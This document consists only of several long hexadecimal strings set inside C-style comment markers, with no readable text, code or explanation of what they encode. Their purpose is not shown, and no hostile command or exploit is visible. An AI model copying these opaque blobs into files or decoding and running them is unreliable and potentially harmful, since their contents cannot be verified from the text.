97e5922aa8a0d08935cc20619b02e6de974561949d47e9886dde27ee41fff6c4ed093fb6e2294d597467a3f1e09cab426575ddfa29e51039474e9687e0641f170b651747eeea1d5bc40db82df4852c1c595173567592afbe00e60a86179681eb3f4843f3d01b1014785389b3456a89f530781bf6b652e822b9f51f48f1d7d32ff9a5bb1994d3ab7f4c00f8423b8e031b7d12ff74f03dab92fb756c75bd98771fb3139d7d060ef24173b21c86019a659342fa78daf436aae4aa81e218f60d7995f169c4a0f3202629509543457f1b65006e5d892ed31f0e80bce68e8e0127394247f63376edc19100f740e7fb18cede7406a8fb93b786c121e67533deae091a98f34b2a5c27553510507589a3b76143d0977acb05394c96d41f951a83dd97757e1a44e82a6f1433f07c055b4f37162891c6e432cd00f8f74c2e470643de60bb5a90ae11b7735d415ee29dfedf5ea35efb4aa3cc1d7c9f9ba8c367221683de5e075d0d37469d494d7a0b4492a6d118f2c7cf4df666a14736a9f01cd8913129daa47989f5076e1ecde73027fc7f72f616f327a7811a69370cf309dcef574aad7e0b6ff01ae1adade5894a8067aca2fee9b94eb89ce367037d285eca0e985dc33fc759b184b2e2f70be333eae3db854c9b6749207ea4d6651eef06ba16f1f2440620c784ad6c750e77c6a891df2bd6b1311bf1bbbea234399fd295ec299cc200757654b871cbc62394c4e09327f7f38cf5ef931f08c434706bf3a560852a4742fdd9edb16884e17bec00b5aaf0d33ab7946ec9e70405da6c1ea73f65488cefb995bca5f8415533b84bca86f862e4577391c4e22a4b60def01f9879e3b091d736aee22a265da677f9f79ba0e5e29e62e65afe2c931664bd96efd52823d0a4ab5b7c284820b3ef46442db017876ff69fe90516d4357207cd535e8bc6c05efe1fb794515272fcfdcfa4e67d9a92d2190859c72bea3d8d52b1a2cea46ad5127255f0b63a9d36c629d27b440ee5bf92eb14f0f9ca0581981648f6b6d314ce72ab2b58aaa14731045f7ffa6d571e864766419d17eb77bc98ce69d03cdb2264bcba01af905d0d411db69a414bbb1de2c513a363cb61a450005f063aa5949cd41f79fa5a9c4e4998f12cf3a5c2e1911043bb14b6c6bc6b86c8f86a1d7174d34eb594f6c2fccfdd357bcdc3fdaecda948ea8ec4541949e0a2eeaa124423b196658f82686ea56f4e2a6769a328524def4c6589ca32d5bc90e580f4c01335cae2730e205b1a24631d0e7ed21dcab137391f186ce15b1fa3c7ef11779cd1f3822b78cc56d88f715448893f2579e1a716d02d1a54b2ee088690855a5bf480dc76d33584f55be48dbd9335e6aebd5a2a37ec1cee30a6285d3e873bb3fa07ee7f89ae6476fe7d39fb80dbbc2455fc85f744851c02f4b8066bfdb30d1bd478ebde63626cb8be3fbf5b9a61aabd8ebd102d7ef7c096c948851fbcfd9df7cd0876ca4611008678b4c83884cd61b961fa0a8180e3cf7d04b0319f04f2e7c5bee8e7247d48a70067cee3644fbc7f0af691f5d65d8d1214b6b40a95adda29b922f379921bf1a226674ce35c126ad1422c40df800f94a50fe739fb1636e5cd802391288bc482dddc6b2a389f358f3034520a0f847eb4c4195719c247e5ed5b2c79545adfc532e13f8770c961be70c3d9652d06a01576ef25c9b08b350bd203bc5e1383422b5bdfaa4b4e765fd426849885ff99f81bf5d4ca747e2a94e6f0495fc8425f47e8b77f7e407c6e640fb6f4c9e55ac6dbe3b8d86aceb93be43b2154fd75988bc369b41cca38a4efcc00caf03b3307213bcb885d3947a24e56fbcc33fe8a530b51f8fb80d2d748ede3163721f43665f2336e964fa437443258b26550b6dfe31bf43e426a63706a6cc74dc15935e175b7eeba41cd9922b55cbac04d77a42ae4faf87ee1362421ff41bae29d934a2b87373bca4f7fd8614b5e694ac357281*/
/*b6c47a6badd5ad52d953827b72caf4c892fb273a966b8277c4ccb37b28f49041df68f08c48db8a0696970e4ad072627b0c6f7eaf357c098c7ab3a66eb2c1691ed1f19b41906006702a7762461dce99e6dfe3dd3371d83be9c1dd8019d7a639eebf463036c9970acd9a6c53ba6cff01e4a1a5c340a1b1106f562521a6f9abcaa4212049ba8bf32e9298479e400d11ef62b14770700a587459c4848f220e06abb617c1637e3d3d23d2a8ae8cb901527a6fcf714f165849681bf883dcc30f9106b3b1cc68512c2f30288721c1ab3b4f597fe95fcf62757d2bde00c1f0cc12f29d639381595e6861d8ba5f37a2262af4dd507e946c1e1f8af9ba98626d2ca580b4cb8334a9cfc214a95a42d1b48882d6c83067fda0f1a1ff657a106c67ab437ab618f82efb811121dacc556395f94f069da4c85217b6fba4036934d4c13f08d341e5a716bb5aeb1e3a8c46c0bb65ddf7f2e877a386acd532b889aae981d880cf13c627eab2a758e8e01471cb83a2eae2265e9f0150f6bd9337303ba284f425fcc4124e696e51348cb2b81a707ccbd4b7d544244d896afc948cbd27dbf231613737bd916383cfd846b5cddbc0429fc52da413501f8b11986f3aa94cdb5da3b9970fcac59f9686a1f67ea621263ece38c6827d527bced468f6101cea5f52f90da87c3d5830baf2f529c2207254fc764cc88d079589bfb92b09677d462a9c890ce1335bacc62df6851b91d018a7a1e72e4a042be4fd40feb317e63b406997dcd98bf4a411f3f7c6c69662d47c40d32142777eade843e11b54ea150927da06a37b244dfb6cc3bfc7fc4ff45fcef3d42369e0f5b204b3df75a3055bee98f5c3562656058ab9220aac2279d10282d7690b9866d6f8aa77be9eec2d32e56bf7285396e71f9f5c7c006166fe72031356a09f6d4b02c560342aeed9c3c8561fe996f3086a3729ed38a51748fdde271eb55312fd11be36759ccd555b075b5320dd0314d29e2c68f23bb4956bcfa4f04d70ae4190b695cb351eac241bb1daf185dc5d733bc98e9a92accc9b0426328e7a2a17e679c17b7addd3e9e8282a216a80d2ddf7656be88469c8e4583f0bc5a146752554b97b0d597dba9b7500dfc6a6ffea724e307bde4682e9a43f959d78d6f00bccb215a155aa572c1d3c4a6736c877cea1ed8458f57125424e5087b1fcb7d3a3ec271c2bfe5f1a0e0bd3b2e7d209d677ff17cf883e9606bd31567e16bb671faebbe662de4a5327d3e0a3325ac6f8a637c346bea2c64519d8cf2f153149aec6050c18619dc1dd24139d92a72972fd19522dfe3bda8bfc56488d9cad69112a004384b0f562ee56bed21c30a2c565120dd675c0b90f98e19857b1e58bc87b8d963cfbfdfb2a3501a375e7f36f1e43401044aea0043d9a119693923861e690f25fe7375090de712e23eb3b5856a873e54aa813c6146b045ac285e1da6f00ffbe3428b9da5bcef2c9c40925e8af74333d2d874b9d97ec2c550d9e720b803b19a51c7e413784e2b912488c853f8fd4d399f3442a31d3e2e4998d7750b504c565013fc52be91a4217f0646b581f4e82dce693aa2b1fb00210925ece060f717c7b908130ef9b92ced2995e91cc932137a097e579a66e8bbd45e4d3f70f32fa4fe7ad4c58b0a65b4fb55131ef5b48f5fc02a2252b5abc083e69569f0ad619ef4b9542168db14fd451bb9599c22c19eeb26b96b3be2f9ee74f35f5f179c81ab7853e8e96980459212f95c552e362332048e91426bd795d8e53d57c6436a4987312f797f8e6cb1bb1c5a76f6533e4a609d3b806835cd089a257f09dbf3f2da40247b927ed781364899fba99a138e333f07a3aa8a9ac76aff2b6de1dddf0c1191b87f2f9b445d26b822008efab56fa1bd190844657151f3bf4f920e2edc7f55c05ffbbca7d418356b91b4d44d1ceaa31e6e60a72f3de9a1d31588e7b9bfcd02fe70c6ff3385b530897ddbf5b4046be0140dcafdf2a672d143e16edbd759cb253452c8eb6797a761949cd58f7dc239f8925336eeba902306791b5836e34018db260a2d6d6172aa326a9df3d2dcc02ccc3fd1c0b42eff54a63d1d9d5f39ec068d68057d33148b72b1c37388a6485de3891f92f6b00eb3f1bc7569f71c7d153f165081a3b4a2b50dddf12ce66516602f04ded09aa84dc3110d8114dccb5e5538eeaa98a7aaaf64a5a4e7b642320c7e2b24e7035f11346121a3a9850e2f410ec8fdbbb20908b555179ecdc629a94d1faec84b809a0df8fa07cfc69a49fcf2222f965de9fb8b8e250b00ba0e86fa2aa40a852c355733ac7d30b708d4cc19f08533d365eaa1183d08270312449c50bb417161c8a36635823bcc3f5262d135a450836ded50c5f222d91a51e7907bfb55167b77cd6837d789652dc181ef46d77ae5dd119dc302720a0bbc75d3e6f0154e525fbf937a5ec5b577f76846b10b9a4f8da7c7e66a142c74e691a6f894fb849ca147f9065e97f0e4ff95cafacb6e786afc7640e435eb4a7a11438ef7996a56f8ce6bd638e3eba45f2cabc51cf2b6370d5c4eeedd522377d31e2064db20bbb36b709613e52fa85bc11ff6568a1de875f0400f6a4f9800576a49b50d871545d60eefe648525076c9a31c78f1271054374fb0728e0736d3d2f85939753388229c02782a5c474993202a02b57e7efb6a9a2ea7935eab0035125ee03f7cc738fd32e05c93eaed1f200ba524835d2089ea6ffdc030acae0f6dc676327722f812b6a686407859a009aecbc0bff9aab60a588e5bd0a49e3e9219c1d60ce6ea060b62ab691e6a39bcd1df78739f4f5d196209b2c4735e9ddafb12b8d95f3ac4617ddbc80*/
/*9a1fe57f46b8d6dc25dec4fedba394801f8ef7a4322e7313520d0d12658e61cec5198b2c6d06b46c60d47e0a023697ee72a0ed3993de8eabcb0985f1e11591610ebd5405e7b5b11a3f5bf15cb7ec4b1ef4eecb518d5ade79540dbe2aa388170bd78f1eb65f263bcbaf4f446c9674957e3ea1864984bea01d795a7f707fa9349e94aeed19cdffd1fdc2c9c4c2681c578870edfb6619e161bec376c208f3cddbc2482ad46cb5317e2afd10b65cbb19b400d9627ab70beb530dfa9b633590951bc2f897e195ac32029558ed06c2db893284de6af52453bc9d9add30394c9e500ba285bfa2840aaae20c7fe6667a8c6d776c22efe0e9cf9710f825acbd4f63f344b0e27652132722cb4d5a476ad6b3c9b0bf285edc8e603bed2ffaa5ceb5b8f7a6d7801940fc365cb0b318b0e5838dd65e40e23d0f409cb78655b123f0cbf698e33a81270adefa0269858df43f9771656133ade85fb91cc681c52dfc870e8096b1f10a8a83644e6ed046f4efb591d439955438c9366d394db2a85e1be9c425e02e49d8ff14ab4756b2d546179d21cd8727666564be39b70ff17faa3d4e4cee78a21a62875a49a1f1d14bd34e5eaaf009d6a48a34dc313a2ca3a4ac906e6a75f4e2fc8398139aba0a0d78e40faa4ea7b1db33658983c406e1bef4f814780dd0c45fd10a03044337aad2656dd141c888a10d4cc9ce21f65ae05f1e4d3ed20f4615a35ea8bebb294482b8e8832e16a20453fa1667cc45621ecfc1940863363068964028c5c08d5bcf702a3796708eb9f9b99938710fd5693efdc35cda8d663b5ad4ffe2ce9a8404c5da08b1e75bc0bb0b217aa3a17e78a13325cf6bdd11d7b3822494fed3c5896181ad34ba1d1cf94533b87516af6557028a1617c2007da12036635ba4098bcb397af636c629b62e2cc92eb86c1d8900ee0f8042a72c449f0bee73df76a42bb77e57d433547e5583f481c563f30c3f15685c14926f3626a99e98298085bfb45e77f09f70bc67a346b42eaac8827f26ab61f16d434aed0582dff3232736eec4d03ed06f4bc313f514689c495ab4acc3c19e64a144b717cc88613be3e81a817bd3e1f83f62f19e85fdfcdd80b918fe468c756d06a4447ece04498200a515f029b2ae84bfb6433d82465939a50979f22dfddbfa0ef81d796b54f760cb32ba5703a9dadf80c0c1bec4b7e130f20ce4561ffec216e4b10170bab4d660361838a0e981c20ccd78a8d4c83fb076c0ee24ab11cd2852fb9542fe30fdb6435963c1aa7ed8f1ca00627cdee4050573161dc22532fda9a2976611574e8cd32fb1ef435485ab1546ead14aa14422a133fe4ecd55ceffb0d400f9687696540bd3c0678728f26371c943a8d6abb07dc6e7950384305c322b1603651684ea4ac96f32ee84552b7a3200636874a2ff35e5c8788ff5b17496f73c79264a08f2d07d6d6efe01448b94594493accebefb03286952d8810d8553719606294a8766e8272016d62bb47d06b49460ffbe20d0b0f13553b47af9cdff261072d2737a7652be778128f6d3b1d58da6a21623c676801d04b8db85019aadcf8eff8a13bb04bf31c822b6a9d7ac23f3ac35ef680690b724b8b4f69e06965cf160e0932149b778ef1263e4f3413151aa20dec804842265595982927ace43a6041dd53ad228861ef003093483df235a8dc84ae2788a3bab57acc0eb8a0ed7c5f52120d6840dddbfbbd736e88ffef516bfa1d0a99207f08dc7557f7da39a97e47af721f28d85b8a17696ce2a951173852379ace57067ec3c3f60c0ccc9e558acb94fca4de5329de7de61253569d2b0314fc74453fbdf55bc6ab9bccd7aba104249c68c4df477eb37f6668f8d4ecf58bba8e6a38835cac078f4902febeba6cd046f786734b71b80f2141fa83803529f09d9990cf5f51fbfa955b6d942d21fadde6ea262aa344e0cb52c614cf5ada791034ce9d94d37e2a9423f5b9e04d1247b4353e43d8ccfd02d7e03df09585253a28177298cf0be4dc3a2acb85b60608da9345cdd18b58b3bae50a5c115be0dc4f096f904bfcac50bdbe4e044f6170d5050347a1c21f4c319afe6b94a7de43d81fd1f61efa62d5da98f686a2159f9abfae23d16cc468527fee5dec9844f5d935088c4c4a06eae666ff664e12c2c881a4c59a4d0f8d57bcd733c321db86b5fe086270fbf2b1b91bb17f5ff7421c162c7e6686929ff941e88301771cb0beaa8a03616f92e04304b9082b9fb4c8754df2d454530fa23cbe9c99bfbab232ebd7d776f73d621a4293878430cf26fc5ceb72eec44b26ae43b2b5c2ad0a45bfb0ca479ba41958c928b3715d72460c40a3009ac7653cce08313ce1a7ad857f407c85913995f66ff3fd941a260f234f1e409c26e973ee5a6a6944dd1d1e5c1cce3cecbdc07039811343ca6501c2dd96bb93500c36af8f0818c198a74b36b07f3b144952bd9383b47514c9858d74a06302bbebb9a4a8dfc3a5e657bb07960843011f77361c2559c6ffb64d5aaba3e35c9d9c1744df7b96f5e0bc78537d7e8d9803361d51859407ef1fe807b33b4806a10bccc88469decade42bf342587c0167d3c644015b41ce002b6de0388057719e9fecae9a182210ca727de2c45d6e20b7b2b605828c568c1c6f2feaa592dbdcd35ebba52c640e0d7fa6ed0d1a9787f76e3ae71b43d037efa299e97b1c9ca6de36f2ce97e66c9f672752876279ae11063ee343a5a8c2d8580349b41f4dd513c21fba71ca1caade16247d145346a078a3e599f73b13dd484ba103e40a1a00bb305a75f301cccc95662eef8caced845c9a2a7830554d0e277c5cab19faf4dd7a1d3978a010caed*/
/*7c74115d312718eef4f9f6878584fcf34edeab0620766ad429e5a4c97d396be2777de3d4052448835bf80e3bd38c04db33a178558aa8c5bc65516fcd574e5d3428cbbd088b0f491becfc15c46c85647ca4c5afd13f37e857c42642a84de720a1bd2699039d54e5efa2451278f90e9c12646832b08bff427236853a453cefb587c8f6dfb58589d0b9ade617db2a7ad33318065e27c2061ff337b3aa9992c1034bcc40575176ae397b33e871c2c9dea31106f19cb2dc613d4e6754fb059ae8d796851535ccabf65673f28b9865fd999b26b47cacb1d3e9369a680b06dafe3c7590dcecdb98d3d4504053407a8b05e326c17e661c0700b3c15497eb1034a847ce3dca0adac2e3d6c79a1eb2f8210f3d787fe8c8fe82beb900cdaa5553c3e671e5d48a42ec0fa99b055bc546460fedb3f376396abca3b9ad1e5dfebfafcab0483874d65f7401932f41aff860e9e724ad876d9fad339865059bcfe88e278358615f4dadfd181e43e277885fdda4fccdcc0c66bbe24041cf1d16db132583d78ca4d4dab1b0d3f8f082b17f7f0fb59e89bcc439a9e99bfbf6b8d6bf4daf37801f4d9c2efcb8959ebe5ab3c3a0a74c7988de7c8cb4e070055eb14c9b3a1a53e2372580c51327a706383826585c55359b45c8124c8b45cb7215be00c81b7cf9c897c9330fb5db2383b8f96eccc5b93a7e4e73315d634c8bfc73a4bf4e17e90b2ade970545b1d63c7e8031ffb3988af656e86f5069e0c572c3310bfa74151c83edc4445f9e83be437efa8ce0cb1655ea8117b92e987283c47954b5307f47edccdbc0a207d6c85294bb3df0712fab54c1b4480986a893333ac2292aac49caa9a5757ce69b93a1f359f94428055a4a659c2f482a4dc8a7a01ca05a4dff627670994381ade11934cfc61f4f95fff6b4ef3449a344b7e4af5c53159906e2ed82cd2b7c5c85015d23566c51cf2bc39444837c12e3e0b7abc9ae35d7940f176e469eb77742177b765499492bad4fa2699211de306511a5f85feaa576a54b28a30bfd83ab36d401f0bab458db1c94e82e6c392e698e3c266ee865ffb772f053d043077c4cfbd0812c10bf5be919071d8aeaac226a35c47aff786d581eb847eb3165d35f4c8f65af6ca4eae0c9d81c5f9881e48e7ab9c6cd0c6ed0dc6a37491bca983c1f6f7b014ad62af28a219c66cb09e84d5b71a0cbce512441ec9235defabb53ec19fa431c616262bb23d266d8571dc60f169cb01b31617c0156d6d0b95ad36d4775f0ce9a59da019499c89f91452222b87d86ee92c3d1fa3844cf8bd53eb79f83ec4abf6ddc8ec6b1fcc3033b2b15e358d7499a463a37efdbcd7ae07a1e4edbadecbda3d1490007a5547bc9afad4403b644f3d5ed0158c2919df66e2bb18ca3fed3b051449560ce077fe8307ec2280688eacf7ed1bfdedb769eea74e08c6a0a96df02dd17d61753b19b8bd28c6ffb2f6e1e4737f6860f207457aeff7bc83affa07e3bd180b804bdb826c8af61aee2278516d6cd9b9126980844974b11108476889c50ae91689765c48e1d17ba7079ff5f5b33ff20df278f9633f1eab72f3e648672e37cba6960cd70f84fbf0f17981011e637d69b1873849281e39215817ccc24eea76fd7aa38b53d11678ec4af0992b517ed2c0c253bc69a4da21665c1fc8417c6f842ed4ed70d643cf316cc1f65df7089af889bef4be5600439dd9f98ca9a1fec5e61999579631074caab4ee938af6bc8b01cb990df5fb94d043032976988bf02c60cdaefcf7d074ee3911551f412afc060a2bdf84a8e50fd9fbd2e1a0da4afb39eefcf0c44d7dc8cfcf62f69812af4479be954cb7f289282b708d609dc79c34fcd88177429b1ac36a7de521bcae0c8a41c52a51b52ab7632360d3a377966dfc381355995f52fc4f713c4da0e84da7c873a3eac0c43edc5576c12512adf9156b241ee9544f63555a633b378c8a0424b11cc217fa19d28ff6b9f5480559109273a9901096974d465e152166f278951d3cec7c09d392605755dfec049dd275b5b1bc2c00c16982d3c319271e926e972490f6f52cf8afe6f87131688af307f24a4eab0a1c399d5656ba4352d09a99a1e1d5e8f863fec98935e627dff0236037df2367420e5788c81372172da96aa01032902203a7524ed207ea2b4a65d61734f0f64daaa9c63d801fbeee49ba2bb740ec1d76e3afa2f4ef36a27eeedc3e7de1ab186dc1651f83e0ba5daa3eb44583e0957c1add35a2ea1fabb995ff35ec4c8d52ca62450a719db49143f1f560f580c01e44dc5a3e0aeb15b3e01cb2162cc36ec3feaed0769b7c536acf1d96c40a5d9eaf8c01e990fecf5df91e8277f4924da11016a4896a53e2933726f2408fe316c49e9935746fd6cd377145526f34ee5849bd9293fe2722c5551843953d4a7e5300ca8501c96f39c5bbc21f289e360a1c96438ad28df2a41b4d196500cd30d940c13d099e339173104a6e0ef000c29f2c1283fe83183ddcc6323808b6f6a27b9986b6c58c941ce7ff3ed0e2ff22c090e6d1554b467a41d23989d910432f746d4ff65e7bde3aae27904080a84601f27c9ea93b3122649984bb0215a628c0bef5615d335e2612a2e7d7922319cedf770e1a9dd7a17126e6fba2146472a61fb0affd5d7a592e9cec24085d4ea425051b9dfb4d3f4fa5ca9b206718b80041068ef254f9bfe7314d9bee0be5ecbc937adb64bfa5b597b64b141d8cdf4ea705ea1d4a7a71a16b35e65b7b0037a577c672c8e9196d810ba49cf5277e080601aa480960b986822950e23357e0403a7ae611e2d8876376d12cdeda0ec279c5cdf10d06fde4d242039492305a11c*/
/*0d8bb852dd4ba357a40a0572ff80fa43b176ce951e2a33950253de8906c0f025a25cfc3e088416c0676c90a764b0629bca5963b41937e1957f8bab209b2dad923c7c109831f1c32566e0a36c128c346d2d5e3d67416a7b4141555759bfffc0abb55c764ab17ac4ad118fff252b8957883926d6538278dca725dd1337baf5433eaa98e3a33f1c12f3b1db0712250a79101812707daf93a9a438d1b09385b76dde97a80e2478f7b5436ec2e1dd9b451ddee319c3adb52104fc34c722193abf71054b2d986383d5e3f416f6da991ddd091192f3988325c2211e3a0177262adffbe67993e52529a8c32b0ab015a70465e8264ee303b1e57e74c1a54451f128736acdfc2b6ae3b87c2d1c101add258d9cf3d0787c704077bce4688d88651da28a75dd83ff4b2b8b4db91808b7e36987e8a3b3af9643c6d27c889b34d12094c00210f0a284a6e988f8036dd5d860d737b35052aac06244ccd87925d9473dac2fcf09f9fa7499712a1187b17ee77be8df373f7e79a45621349f5c0b01a6e42fb09cc8a4f62cc71c01356aaf346e3c76a5b2eaa2653f3a37d06bf7e4a41b7f380d0340ab04478ab5754a26f7853521c81467bedbcc9a80917d91b33654a05603e071948fcfcd68209a1ca6e126d026c1b4cccc1e6c4e75888256118ce53b8df3411a120910590c57a29c2999032e9537b74610c733317fc9835d2dc856d2401c53fc6186075e43538e8d7d17db8b14e3a96e6a9eec604b28bb7dc5cb96c368ec05539407df0da58093ec9da2c2221c70a2a7b88c4936c2d542e4f73eed4df062c02a14c4bb7da63fd052cabedc8b982b0256aa13c318aefcf2da014d2c80514a7fe1f3b89b1f8b2e4ddbc163d7c32b48c608852368cd0ab4e0f0c4f73371d795773828b243c9043a1e013dc3636eda34c39688bb34e5a4538fd1d14c1db15f021df0217378ae395c964ace5d8a1b9d00ab1a27f88217c4043d3817ba15e5f5b5b425984bee469a91e0033d2165ed3bfb5646c19610fd04914837f414e4137ebf84b5762c13260180ca20dd2bafeb373aa438249957ee07f4bb46453594d60763ecb6a1fc72b537dd329855b938696070b0120b9205b2a20c6b677b11d7dfb0e312fe825f6638b2927ee628412a4b786d9c01193d18fa491ef8fcd03a518617ab1bb580e9e51ba328c0df517e0c91fc0e4f0c0177ef85f2d3d23419c3804b7cf8ecc38cf3b23d1cf261e5b5b8e627334807c77adca6421640cd842e45dab193204ff15c17039db691697e41a915598a2988bbcfd3de73784711ed7fde64cf91932a57b48ca4b5af0624f3c19fb9fc944ce7a6b7af3fc413704183a19e8e4cfa95e7c60564b890abf443cc5f5dae258b506b777d30ccee212c5937b5f09f3f5b2429033504092064fc4899bf8872107cd9bf97fe120a419041eed7ae7454b2f6b849b2d4d211d184c7d37fd95f3e50e535fb83fa53c40345f142ad1eb2740da977800d449516846557f35b96d6aac0452886db7aee10ee5568d0087c2e123516b4fa34e0f70d23cc64c43fa1320e916863e2efeaefdefbe0c9743d6a08629316331b5a893d18745b3314b5b1272941f8151721f6fe935ccc64ec4b911c2aaf5725d3db11b8b2aa647ef097391e887a4d1a81734897cb31fdbb4e76eee4656acf383141439dba1e756d6e542738d6cb1c943aee324793fc2a679ae295166263eafa0a9025d172174fad8bc9a5d9d2597b44040101f3549888ecb2366b2c35eb595e687f9092f8c6637510203a69cb9ec6a641fa478515b116d64d818179876990bb416b97564cf021030cdc81f5a37576b487ee59bafb6057882037c44c3f6b51bb784b18a1930495a8945cdb4a4c0818f08bacb64e9ef39da5e377a65d5781d91edf1d6cc43c8096753019c12b9af6a8201917988080bec65a04b89cad51a0ebbf75abdae1798849be9b001fed8cfade3ee09612b67e42ff9a3160b8660e8e445798bb8cffab6826b68fe89d233dcaaddb2cc79e2df6c59e7384133069284bb5607e7ff4d3516feba220f0c9afe96967a0f297bc33b8cf8fabe97df2d1b69b7d314699447270264cfedb1ba51438e6c251d623d19348e57a64232ff890018a8218c9be274523985b6c64056228befac154c3f48746b9496b82c98a7f9f0c77074eace239903d361e71c933958971915bb316da0e2885465a039405a4d2a20fa9815a0ed7d1b1fef387aa1b56fc276f9ea53c3780bd75b15ff8cbe6fac6e69c89d951db1d287a8cc0aa1101b9d2241a1f86c9ef429f8712f190d3b76561a9aeeb9a198f96988a6b4a08d07871e2b49cf9794f473c2386158f7ec88ec7a44dab95556179fc379ad445ce172627756c9be40c8812c0fd3d5edbb2701be1da0af5c157edd82aaea41d634dac2189f4f923ce6c815ddbd75620ff61f3b004a8188762b157b7e56906c77c8e2a51a1f1d29b3d426413c9630cdcbd8147b5813cb1ec5b4341944c65030974a0d275350416f7a4107725da6b684031cd97b464a964e0bf533afd7426b40a48f07b3be6dcf760a54b27ce0900bacf5c62bb2446e4848411888ec63b66df7f2f6eefc9b78cf111558702c419849cba6d5c9525ba1c1f586c77eb8393b7cb7fbb3a5e5da0cddd624361b89d25ff6a3d099e8a57a8fe7f7a7fa3e570d452249c34284becb749ea8dc9a13aae4dccb2f8f90125b3a9d974424edcf7c6ecd94bad1e5bc58e5301e76464a1efe197083e5a1eeab89cbe124ac641dce599cea007a8ea9f8f7522b7349f3ff277357f11ca56757588f5df5c3d17f3ac0dde5c49ca7d8b57e7ae30e6e58d8c52ca019eaa*/
/*debeec876ac7af382f10e27c6587dadcdf883514f5be0d53e2280aeed3cb1efd386f07adea33128cc5dfdacddc4b5593ba5c0b99aab5f3957b86fa3dca3dbb3504370c97dfc2992fe6c69f52d6b98b98877d3036633c7639f46c74133a872b584ab69ca6cf83c538b77800574549999e25fc5535ad66df870db1c2f2a6fbc2540f05f2b872f1d0cc773b6774309178a97f1be0f06da71014abc221b9458a0f50eeeb82cf4e07336f41656b572b296be19efb1160eb147a54a8c5adb486b043300b64d4ed8b58f18841a184edf6316ed65318f1bea3b4c98a752da247f6439d73623c859eb5751d654dae0ba47a161f9bdfe41dfae990c2feb59971bdcafb4749b6658224442e07ebbc85cae939869988f836d2b39a97c2d378c5104668aae4376d3687cb289f138104ec95bd58a02dcb373e33e30180ce02e3d83a96bf40993ed84065000b8764370b937ce04e98fc1743fd49cae6a527d70a374ae72c3e2e44db05128e09a2993feeffbc2899b663593bf1a4349e6b893d13a97a91a2ae07acf9f1e346d3da23257013bf78d9f65bee6846d857b8b9c99b97b3888fd6c321a01994129b1e357f76c685831f96f8552b8b26592b76a311f6e6350fa5ab2c1e4b4551d9534f70528bb87cbbfc3e056ff341232955b663965b30c6d5769642cb9572d5d9caa89c973744a4e97a0f58dcb69c3302743b756196f8482db1430b0e3583ef5a2000ffeb6e99acf5a1d2b0228d86c59e3ca1c1e87c30493e32bd4f25ed6f6f5a2ef65940ac7879e4f25e8da97b481e7c63386853baa4abe8a965e23d8693dc01c3cb84ee5a2259a07646ae8037e1031838c4235c6a2dca9893080f36b2c2d78cc8a456f4af9c182b8aa4234cc9aa57e2ea51596dff778d0a93beee044ada749f4c2f514fba31cf6350477d187da8042208f4443568639628194f9f93a939017df5b51d1c2c3ef75c956d32e5864af34f5014925da545eef24eaee4195da4393273ffccbe69415dc787f6b0cde53bc3502311aa5b20937f3e526a42491c6a5230b06e462612f56c0f72a04ff81dd4b3509cc6e6ba1bc495d1d58891183d5f99e6d58a4492c1b0f2dc6ed0bbba18d749b3ac2da910ff1de5eea5a14636f67f227a7fe184a0775dba53e93d5b89b52320788ccb1cfe058ad1d5856478eb757bfba83f6a8ee8ce243ca3f673b64c70fe6c4e05ea0c7ccebd0da42387ed029cb0fc45ab5d6d281590348c8b1e9856ab57d1c0dd14367b37ce20bb3e6c7db8a026208870cd720938967efec1fb578fea92f835c35e4a7f23eadd01b021684af6f7ac845b3a1969494bd1c97bba460bf2d5217af1f97c1edced99b1ec40c5160d4ba20ef97822c1d7b5eb368b5da1c4915b1cb74b050e973f2b92a33406ed5b6e8a3eb79037e62e79e3b7c196b6dbe2d3aa54b9790fe9a1a71edbdf4b844c736602f241ddf87d4dbf7a4074b5384a1f50e55e6d559c317f6585f2188560bfe64971e95e2885c87ea8abdfe8cedc3bb2dcc961739a128eeccb96e9d1f865039d70e37f361bf608c97450e4e7f45ed09923328a64b693191efb2db928b0eac1c77cfcb1d8ca6c63afa83acc7ce7ab531ac04589624ad5d888735cd7f2799535e28b969f627fccad5d15f8db928594e9798a69ca6865b8a396915f28113ba1bc2b1b1966b4bc4d2fe81f9ef3380291a5eea64335e5b8e7d533d49e6c53df210c28df26d81f08b6eb39b53ca5cd61d22f60e7caa02331a771edff63985a5a6a7a80ffd6df9b6d8f47899460b8d66e9182a8bba7c674a686360850970be4c6ade885b1cf35d7a4859dc62d9c36a70c83f2bb39fabf68e6b8614db6e4a6e4acd5e63892f776d7dceb4e800cbdd0cd361bf168fcbc03499425d0f6bab2aed91f797d683e63918bb8c566d8edf5b6f3fdfcbc8403ec222b63ccd135887eb0eb6363a423bd3c2ab29afbedd55f3311cd93c5f128a15ed1f92595c6ae20f24a6c0972c5060fb9b75c1e75263c848fdb1c7e3fea2d03d51e5f49a67c3431178fe59705318e589fd48428de460d5618167a91f62dde94effce2c444bef2695982f75890797c93b06d95af01b8a49f55d0fc1ffa417ae612a3a58efd4c5727b1677266317d388e53c525a92a656e6913ea2e0b7408aea46a27d16fa42220800e3957187f60d46c7353130f3e68a86d5120aed4198d0ebcdf891ddf64a0287b9aa8ad40ea347895095dac9b01231df01764dead1acb23a0be821a86f0305d50b1f43f3007bb2869d1516485ffc09047f8531f98ba9ea50ace959468d387aa2ad60c3a2ec88a54c797554cb890986da738a39e58e61521286233ec714a0dc96883b436699f4458a2c060e5f4f9024e9bbfd2764f32635ebb9a670f921236c4503ad9c420ba5ffa383859d02ae6cd7b18b4c5edf4b26b48a2041b957193a75131980711e348f647d75f95361391a3ed2366248d6ace790e1faf2b9f47b2ce4343132bc41bb82bfb357da93a5d0ef11b63247280a76bd2f9995ad133b4183beda07b1003df46798ecd68f7e62b40c92307380af266e9b0a476239a6c0c27d09dc023022a248b39cdd08bb4ffc5e188dcdc8c09a3e7b8fb1b9692774341b5524ab1f5c4ff956bd47a0b95f3a91f3d90f52309733587dfa257100f1e2c4b03ae23cfa4f1a27921a80887bac8efa65a5fb8eecd18356dbd4b9df16c4a258f28d43d44bdfaeca1498062fa988bdc8fce79d57f38650a2f89b42663a797651ce25d9b8e8059e002b62af408ba0914c9605cbfd3dd76b909d54dd1c24ff368208d0125481f6fd5637dfd0380fdde3ab11d6afd1bfd9fccf68a22b435*/
